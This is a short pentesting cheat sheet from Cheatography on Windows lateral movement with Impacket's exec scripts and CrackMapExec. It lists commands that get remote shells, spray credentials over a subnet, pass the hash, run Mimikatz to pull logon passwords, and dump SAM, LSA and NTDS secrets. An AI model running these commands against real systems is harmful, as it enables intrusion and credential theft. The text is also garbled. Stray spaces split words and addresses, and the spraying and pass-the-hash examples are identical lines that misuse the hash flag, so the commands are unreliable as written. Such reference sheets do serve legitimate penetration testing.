

Impacket

PSEXec	Writable share required, default ADMIN\$. Interactive shell or single command. Similar to psexec.exe, uses RemComSVC.	SMB - 445
SMBExec	No writable share required. Requires 4 SMB Connections. Doesn't use RemComSVC. Semi-interactive shell or single command.	SMB - 445
ATExec	Writable share required, default ADMIN\$. Run a single command through task scheduler.	SMB - 445
WMIExec	Semi-interactive shell through WMI. No service/agent installation require, runs elevate privileges if possible. Stealthy.	RPC, WMI - 135
DCOMExec	Semi-interactive shell, similar to WMIexec but using different DCOM endpoints. Blocked by default due to Windows firewall rules.	RCP, DCOM - 135

Example:

```
python <sc rip t.p y> domain /us er: pas swo rd@IP
<co mma nd>
```

PSEXec, SMBExec, WMIExec will obtain shells if <command> is blank

CrackMapExec

Swiss army knife for pentesting with many features. Spray credentials and LSA secrets, run mimikatz, and more.

Can perform command execution via Impacket's smbexec, wmiexec, atexec

Spray domain creds: crackmapexec 192.16 8.1.0/24 -u user -H 'Password'

Spray local creds: crackmapexec 192.16 8.1.0/24 -u user -H 'Password'

Spray creds from files: crackmapexec 192.16 8.1.0/24 -u user -H 'Password'

Pass-the-hash: crackmapexec 192.16 8.1.0/24 -u user -H 'Password'

Execute command: crackmapexec 192.16 8.1.0/24 -u user -H 'Password' -x 'cmd'

Run Mimikatz: crackmapexec 192.16 8.1.0/24 -u user -p 'Password' -x 's eku rls a:: log onp ass words'

Common Enumeration Options

Enumerate shares: --shares

Dump sam, lsa or ntds: --sam --lsa --ntds

Sessions: --sessions

Logged on users: --lusers



By [tz-pl](#)
cheatography.com/tz-pl/

Not published yet.
Last updated 29th November, 2019.
Page 1 of 1.

Sponsored by [ApolloPad.com](#)
Everyone has a novel in them. Finish Yours!
<https://apollopad.com>